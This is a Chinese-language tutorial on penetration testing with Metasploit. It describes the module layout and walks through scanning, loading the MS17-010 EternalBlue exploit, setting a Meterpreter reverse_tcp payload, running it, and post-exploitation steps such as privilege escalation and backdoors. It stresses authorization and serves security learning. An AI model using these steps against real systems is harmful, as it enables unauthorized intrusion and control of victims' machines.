利用Metasploit Framework (MSF) 进行渗透攻击是网络安全专业人士用来评估系统安全性的一种方法。这种方法可以模拟真实的攻击场景,帮助识别和修复潜在的安全漏洞。以下是使用MSF进行渗透攻击的一般步骤,以及一些关键概念和技术细节。

1. 环境准备

首先,确保你有一个合法的授权来对目标系统进行测试。未经授权的攻击行为是非法且不道德的。接下来,你需要一个运行Kali Linux或类似系统的环境,因为这类操作系统通常预装了MSF和其他必要的工具。

2.Modules(模块)

存放路径:/usr/share/metasploit-framework/modules/(个人写的模块也可以存放在这里)

2.3.1.Auxiliary

主要包含渗透测试中一些辅助性的脚本,这些即本功能有扫描,嗅探,破解,注入,漏洞挖掘等。

2.3.2.Encoders

各种编码工具用于躲过入侵检测和过滤系统。

2.3.3.Exploits

主要包含了传说中的exp、0day. 各种漏洞利用的脚本。主要的攻击代码全在这,这里边包含的exp的路径的命名规则是系统/服务/模块,在使用exp是可以根据这个命名方法来找(也可以用search这条指令来找)比如:use exploits/windows(系统)/vnc(服务)/realvnc_client(模块名)

2.3.4.Nops

NOP (No Operation or Next Operation) sled,由于IDS/IPS会检查数据包中不规则的数据,所以在某些场合下(比如针对溢出攻击),某些特殊的滑行字符串(NOPS x90x9…)则会因为被拦截而导致攻击失效,所以此时需要修改exploit中的NOPs.nops文件夹下的东西会在payload生成时用到(后面会有介绍)。比如我们打开php的NOPS生成脚本,就会发现它只是返回了指定长度的空格而已。(不理解没关系)。

2.3.5.Payloads

这个单词翻译过来叫载荷:是攻击者发送给系统执行的指令(不包含exploits 攻击阶段) , payloads主要是在目标机执行的,而exploits是在本地机执行作用于目标机。命名规则是:系统/类型/名称比如: use payloads/windows/shell/bind_tcp.

2.3.6.Post

这个目录里放着msf的exploits执行成功后,向目标机发送的一些功能性指令,比如:提权,获取hash等。

2.3.7.Data

这个目录里盛放了Meterpreter、PassiveX、 Vnc、 DLLS 等这些工具和一些用户接口代码, Msfweb和一些其他模块用到的数据文件。

Data下js文件夹下的Detect ,这里面存放的是MSF的探针文件。如果看过MSF浏览器攻击脚本的代码,就会发现调用了一个js库,然后检查当前请求是否符合被攻击环境。如果符合则发送攻击代码,否则中断。Memory中主要是一些堆喷射代码。 在大部分浏览器漏洞利用过程,堆喷射是一个不可或缺的过程(当然不是绝对的! )。并且不同的浏览器及版本间,堆喷射代码都有所不同。

2.3.8.Plugins

这里的模块用户需要使用load来加载提供数据库连接插件和各种要用到的插件。

2.3.9.Scripts

这个目录下的文件大都是Meterpreter这个模块利用的脚本,比如Meterpreter里用到的migrate来转移到其他进程的指令的源代码就在这个目录下。

这里的rc脚本相当于Windows下的批处理脚本, 在某些情况下会有一定便捷性。比如Veil 在生成免杀payload的同时也会生成一个rc脚本,此时使用msfconsole -r xx.rc便可以快速的建立一个和payload对应的handler ,亦或在攻击过程中需要你反复的set exploit,那么就可以使用这个批处理脚本了,而这个目录下则是一些给定的rc脚本,虽然你可能不习惯这样使用,但作为改写自己的rc脚本的资源也不错。

2. 启动MSF控制台

打开终端并输入msfconsole启动MSF控制台。这将加载MSF框架,并显示可用模块的数量等信息。

3. 情报收集

在实际攻击之前,了解目标是非常重要的。你可以使用诸如Nmap这样的工具来进行端口扫描和服务探测,以获取关于目标系统的更多信息。例如,执行如下命令可以扫描特定IP地址的开放端口和服务版本:

1
nmap -A -p 6667 192.168.24.139

此外,还可以通过Google Hacking、社会工程学等方式收集更多关于目标的信息。

4. 搜索合适的Exploit模块

一旦收集到了足够的信息,就可以根据已知漏洞搜索相应的exploit模块。例如,如果你知道目标存在MS17-010漏洞,可以通过以下命令查找相关模块:

1
search ms17-010

选择最合适的模块后,使用use命令加载该模块。比如:

1
use exploit/windows/smb/ms17_010_eternalblue

5. 设置模块参数

加载模块后,查看需要设置的参数:

1
show options

根据之前收集的情报配置必要的选项,如目标主机(RHOST)、本地监听地址(LHOST)等。对于某些模块,可能还需要指定目标操作系统类型(TARGET)或其他特定于该exploit的要求。

6. 选择Payload

为成功利用漏洞后的操作选择适当的payload。常见的payload包括shell、reverse_tcp、meterpreter等。例如:

1
set payload windows/meterpreter/reverse_tcp

然后同样地配置payload所需的参数,如本地监听端口(LPORT)等。

7. 执行攻击

完成所有必要的配置之后,就可以尝试发起攻击了。这可以通过简单地输入run或者exploit来实现。如果一切顺利,你应该能够获得目标系统的访问权限。

1
run

8. 后渗透攻击

一旦获得了初步的访问权限,下一步就是探索如何进一步扩展你的控制范围。这可能涉及到提升权限、横向移动到其他内部网络资源,或者是安装持久化的后门程序。

注意:在执行上述任何步骤时都必须遵守法律和道德规范。渗透测试应该是在得到明确许可的情况下进行的专业活动。

参考资料

https://blog.csdn.net/agrilly/article/details/132141798
https://www.cnblogs.com/qianggediyi/p/14819643.html
https://cloud.tencent.com/developer/news/329927
https://sculptor-liu.github.io/2020/07/04/MSF/
https://developer.aliyun.com/article/1233491